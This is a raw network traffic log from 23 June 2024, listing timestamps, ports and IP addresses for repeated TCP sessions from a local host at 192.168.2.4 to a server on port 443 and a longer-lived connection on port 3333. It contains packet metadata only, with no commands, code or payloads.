Jun 23, 2024 11:32:47.672646046 CEST	49807	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:47.672662973 CEST	443	49807	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:48.011507034 CEST	443	49807	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:48.011584044 CEST	443	49807	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:48.011661053 CEST	49807	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:48.011971951 CEST	49807	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:50.111794949 CEST	49808	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:50.111884117 CEST	443	49808	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:50.111990929 CEST	49808	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:50.112313032 CEST	49808	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:50.112349033 CEST	443	49808	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:50.899456024 CEST	443	49808	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:50.900906086 CEST	49808	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:50.901000977 CEST	443	49808	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:51.249259949 CEST	443	49808	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:51.249423027 CEST	443	49808	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:51.249524117 CEST	49808	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:51.249780893 CEST	49808	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:51.251041889 CEST	49809	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:51.251141071 CEST	443	49809	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:51.251235008 CEST	49809	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:51.251497984 CEST	49809	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:51.251539946 CEST	443	49809	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:52.058554888 CEST	443	49809	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:52.101789951 CEST	49809	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:52.101869106 CEST	443	49809	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:52.403964996 CEST	443	49809	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:52.404148102 CEST	443	49809	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:52.404295921 CEST	49809	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:52.404614925 CEST	49809	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:54.548216105 CEST	49810	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:54.548315048 CEST	443	49810	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:54.548525095 CEST	49810	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:54.548630953 CEST	49810	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:54.548654079 CEST	443	49810	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:55.342325926 CEST	443	49810	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:55.343722105 CEST	49810	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:55.343810081 CEST	443	49810	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:55.685878992 CEST	443	49810	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:55.686044931 CEST	443	49810	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:55.686114073 CEST	49810	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:55.686309099 CEST	49810	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:55.687181950 CEST	49811	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:55.687269926 CEST	443	49811	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:55.687362909 CEST	49811	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:55.687716007 CEST	49811	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:55.687797070 CEST	443	49811	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:56.469561100 CEST	443	49811	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:56.470861912 CEST	49811	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:56.470927000 CEST	443	49811	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:56.809911966 CEST	443	49811	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:56.810084105 CEST	443	49811	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:56.810208082 CEST	49811	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:56.810398102 CEST	49811	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:58.295954943 CEST	49812	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:58.296008110 CEST	443	49812	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:58.296200991 CEST	49812	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:58.296335936 CEST	49812	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:58.296355009 CEST	443	49812	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:59.014831066 CEST	443	49812	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:59.016158104 CEST	49812	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:59.016246080 CEST	443	49812	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:59.361257076 CEST	443	49812	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:59.361411095 CEST	443	49812	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:59.361589909 CEST	49812	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:59.361680984 CEST	49812	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:59.362554073 CEST	49813	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:59.362629890 CEST	443	49813	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:59.362715960 CEST	49813	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:59.362931967 CEST	49813	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:59.362963915 CEST	443	49813	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:00.067491055 CEST	443	49813	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:00.068797112 CEST	49813	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:00.068861008 CEST	443	49813	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:00.409934044 CEST	443	49813	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:00.410013914 CEST	443	49813	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:00.410187960 CEST	49813	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:00.410367966 CEST	49813	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:01.550209045 CEST	49814	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:01.550314903 CEST	443	49814	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:01.550416946 CEST	49814	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:01.550630093 CEST	49814	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:01.550663948 CEST	443	49814	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:02.343183041 CEST	443	49814	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:02.344568968 CEST	49814	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:02.344647884 CEST	443	49814	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:02.692567110 CEST	443	49814	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:02.692714930 CEST	443	49814	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:02.692789078 CEST	49814	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:02.692975044 CEST	49814	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:02.693814993 CEST	49815	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:02.693944931 CEST	443	49815	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:02.694288969 CEST	49815	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:02.694288969 CEST	49815	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:02.694367886 CEST	443	49815	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:03.049130917 CEST	3333	49797	141.94.96.144	192.168.2.4
Jun 23, 2024 11:33:03.094369888 CEST	49797	3333	192.168.2.4	141.94.96.144
Jun 23, 2024 11:33:03.394591093 CEST	443	49815	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:03.399297953 CEST	49815	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:03.399391890 CEST	443	49815	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:03.740128040 CEST	443	49815	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:03.740291119 CEST	443	49815	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:03.740381002 CEST	49815	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:03.740870953 CEST	49815	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:04.913424969 CEST	49816	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:04.913518906 CEST	443	49816	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:04.913594007 CEST	49816	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:04.913820028 CEST	49816	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:04.913851976 CEST	443	49816	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:05.624092102 CEST	443	49816	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:05.625488043 CEST	49816	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:05.625536919 CEST	443	49816	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:05.969177008 CEST	443	49816	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:05.969362020 CEST	443	49816	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:05.969424009 CEST	49816	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:05.969669104 CEST	49816	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:05.970592976 CEST	49817	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:05.970640898 CEST	443	49817	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:05.970719099 CEST	49817	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:05.970936060 CEST	49817	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:05.970953941 CEST	443	49817	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:06.672000885 CEST	443	49817	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:06.674977064 CEST	49817	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:06.675038099 CEST	443	49817	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:07.013886929 CEST	443	49817	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:07.014053106 CEST	443	49817	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:07.014131069 CEST	49817	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:07.014342070 CEST	49817	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:07.233382940 CEST	49818	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:07.233447075 CEST	443	49818	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:07.233513117 CEST	49818	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:07.233814001 CEST	49818	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:07.233844042 CEST	443	49818	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:08.015733004 CEST	443	49818	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:08.017090082 CEST	49818	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:08.017193079 CEST	443	49818	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:08.359076977 CEST	443	49818	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:08.359354019 CEST	443	49818	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:08.359437943 CEST	49818	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:08.359539986 CEST	49818	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:08.360336065 CEST	49819	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:08.360435009 CEST	443	49819	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:08.360512972 CEST	49819	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:08.360718012 CEST	49819	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:08.360740900 CEST	443	49819	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:09.146658897 CEST	443	49819	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:09.148144007 CEST	49819	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:09.148214102 CEST	443	49819	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:09.490197897 CEST	443	49819	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:09.490384102 CEST	443	49819	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:09.490454912 CEST	49819	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:09.490703106 CEST	49819	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:10.657223940 CEST	49820	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:10.657315016 CEST	443	49820	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:10.657402039 CEST	49820	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:10.657646894 CEST	49820	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:10.657680988 CEST	443	49820	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:11.355648994 CEST	443	49820	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:11.357036114 CEST	49820	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:11.357119083 CEST	443	49820	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:11.698642015 CEST	443	49820	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:11.698793888 CEST	443	49820	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:11.698875904 CEST	49820	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:11.699065924 CEST	49820	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:11.699893951 CEST	49821	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:11.699943066 CEST	443	49821	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:11.700016975 CEST	49821	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:11.700222015 CEST	49821	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:11.700241089 CEST	443	49821	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:12.500850916 CEST	443	49821	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:12.502166033 CEST	49821	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:12.502229929 CEST	443	49821	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:12.846716881 CEST	443	49821	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:12.847232103 CEST	443	49821	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:12.847338915 CEST	49821	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:12.847532034 CEST	49821	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:13.018228054 CEST	49822	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:13.018331051 CEST	443	49822	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:13.018429995 CEST	49822	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:13.021969080 CEST	49822	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:13.022016048 CEST	443	49822	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:13.363548040 CEST	3333	49797	141.94.96.144	192.168.2.4
Jun 23, 2024 11:33:13.594358921 CEST	49797	3333	192.168.2.4	141.94.96.144
Jun 23, 2024 11:33:13.703905106 CEST	3333	49797	141.94.96.144	192.168.2.4
Jun 23, 2024 11:33:13.797475100 CEST	49797	3333	192.168.2.4	141.94.96.144
Jun 23, 2024 11:33:13.812223911 CEST	443	49822	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:13.813688040 CEST	49822	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:13.813772917 CEST	443	49822	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:14.153896093 CEST	443	49822	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:14.154069901 CEST	443	49822	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:14.154138088 CEST	49822	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:14.154808044 CEST	49822	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:14.179559946 CEST	49823	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:14.179650068 CEST	443	49823	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:14.179759026 CEST	49823	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:14.179991961 CEST	49823	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:14.180027008 CEST	443	49823	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:14.976762056 CEST	443	49823	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:14.981930971 CEST	49823	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:14.981955051 CEST	443	49823	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:15.322376966 CEST	443	49823	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:15.322551012 CEST	443	49823	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:15.322771072 CEST	49823	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:15.322771072 CEST	49823	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:15.322819948 CEST	443	49823	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:15.322870970 CEST	49823	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:15.323652983 CEST	49824	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:15.323754072 CEST	443	49824	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:15.323842049 CEST	49824	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:15.324090958 CEST	49824	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:15.324126959 CEST	443	49824	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:15.945699930 CEST	49797	3333	192.168.2.4	141.94.96.144
Jun 23, 2024 11:33:16.042773008 CEST	443	49824	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:16.044852018 CEST	49824	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:16.044898033 CEST	443	49824	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:16.340919971 CEST	49825	3333	192.168.2.4	141.94.96.195
Jun 23, 2024 11:33:16.345823050 CEST	3333	49825	141.94.96.195	192.168.2.4
Jun 23, 2024 11:33:16.345913887 CEST	49825	3333	192.168.2.4	141.94.96.195
Jun 23, 2024 11:33:16.346021891 CEST	49825	3333	192.168.2.4	141.94.96.195
Jun 23, 2024 11:33:16.350754023 CEST	3333	49825	141.94.96.195	192.168.2.4
Jun 23, 2024 11:33:16.383330107 CEST	443	49824	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:16.383518934 CEST	443	49824	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:16.383599997 CEST	49824	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:16.386373997 CEST	49824	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:16.721481085 CEST	49826	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:16.721580029 CEST	443	49826	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:16.721818924 CEST	49826	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:16.722341061 CEST	49826	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:16.722379923 CEST	443	49826	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:16.982659101 CEST	3333	49825	141.94.96.195	192.168.2.4
Jun 23, 2024 11:33:17.156992912 CEST	49825	3333	192.168.2.4	141.94.96.195
Jun 23, 2024 11:33:17.445995092 CEST	443	49826	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:17.457875013 CEST	49826	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:17.457976103 CEST	443	49826	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:17.797292948 CEST	443	49826	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:17.797389030 CEST	443	49826	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:17.797460079 CEST	49826	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:17.797852039 CEST	49826	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:17.798657894 CEST	49827	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:17.798744917 CEST	443	49827	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:17.798834085 CEST	49827	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:17.799047947 CEST	49827	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:17.799083948 CEST	443	49827	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:18.603904963 CEST	443	49827	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:18.605160952 CEST	49827	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:18.605217934 CEST	443	49827	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:18.947642088 CEST	443	49827	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:18.947798014 CEST	443	49827	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:18.947904110 CEST	49827	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:18.948091984 CEST	49827	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:19.116978884 CEST	49828	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:19.117079973 CEST	443	49828	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:19.117219925 CEST	49828	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:19.117461920 CEST	49828	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:19.117512941 CEST	443	49828	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:19.918046951 CEST	443	49828	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:19.919416904 CEST	49828	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:19.919502020 CEST	443	49828	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:20.264550924 CEST	443	49828	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:20.264743090 CEST	443	49828	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:20.264826059 CEST	49828	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:20.265007973 CEST	49828	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:22.658951998 CEST	49829	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:22.659044981 CEST	443	49829	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:22.659154892 CEST	49829	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:22.659379959 CEST	49829	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:22.659418106 CEST	443	49829	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:23.484181881 CEST	443	49829	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:23.485574007 CEST	49829	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:23.485641003 CEST	443	49829	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:23.833015919 CEST	443	49829	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:23.833198071 CEST	443	49829	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:23.833276987 CEST	49829	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:23.833439112 CEST	49829	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:23.834320068 CEST	49830	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:23.834369898 CEST	443	49830	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:23.834454060 CEST	49830	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:23.834681988 CEST	49830	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:23.834707975 CEST	443	49830	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:23.929446936 CEST	3333	49825	141.94.96.195	192.168.2.4
Jun 23, 2024 11:33:23.969377041 CEST	49825	3333	192.168.2.4	141.94.96.195
Jun 23, 2024 11:33:24.542396069 CEST	443	49830	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:24.543706894 CEST	49830	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:24.543788910 CEST	443	49830	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:24.882761955 CEST	443	49830	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:24.882939100 CEST	443	49830	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:24.883025885 CEST	49830	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:24.883225918 CEST	49830	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:26.858043909 CEST	3333	49825	141.94.96.195	192.168.2.4
Jun 23, 2024 11:33:26.969343901 CEST	49825	3333	192.168.2.4	141.94.96.195
Jun 23, 2024 11:33:26.994338989 CEST	49831	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:26.994445086 CEST	443	49831	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:26.994529009 CEST	49831	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:26.994754076 CEST	49831	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:26.994781971 CEST	443	49831	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:27.147726059 CEST	3333	49825	141.94.96.195	192.168.2.4
Jun 23, 2024 11:33:27.147943020 CEST	49825	3333	192.168.2.4	141.94.96.195
Jun 23, 2024 11:33:27.954839945 CEST	443	49831	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:27.956237078 CEST	49831	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:27.956321001 CEST	443	49831	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:28.313853025 CEST	443	49831	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:28.314012051 CEST	443	49831	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:28.314085960 CEST	49831	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:28.314239025 CEST	49831	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:28.315097094 CEST	49832	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:28.315155029 CEST	443	49832	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:28.315289021 CEST	49832	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:28.315486908 CEST	49832	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:28.315519094 CEST	443	49832	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:29.131411076 CEST	443	49832	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:29.132894993 CEST	49832	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:29.132978916 CEST	443	49832	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:29.584953070 CEST	443	49832	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:29.585165024 CEST	443	49832	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:29.585331917 CEST	49832	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:29.585453987 CEST	49832	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:31.782663107 CEST	49833	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:31.782752037 CEST	443	49833	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:31.782841921 CEST	49833	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:31.783054113 CEST	49833	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:31.783091068 CEST	443	49833	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:32.626981020 CEST	443	49833	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:32.631905079 CEST	49833	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:32.631959915 CEST	443	49833	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:32.968641996 CEST	443	49833	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:32.969109058 CEST	49833	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:32.969202995 CEST	443	49833	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:32.969295025 CEST	49833	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:32.970191002 CEST	49834	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:32.970251083 CEST	443	49834	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:32.970324993 CEST	49834	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:32.970526934 CEST	49834	443	192.168.2.4	92.53.96.121
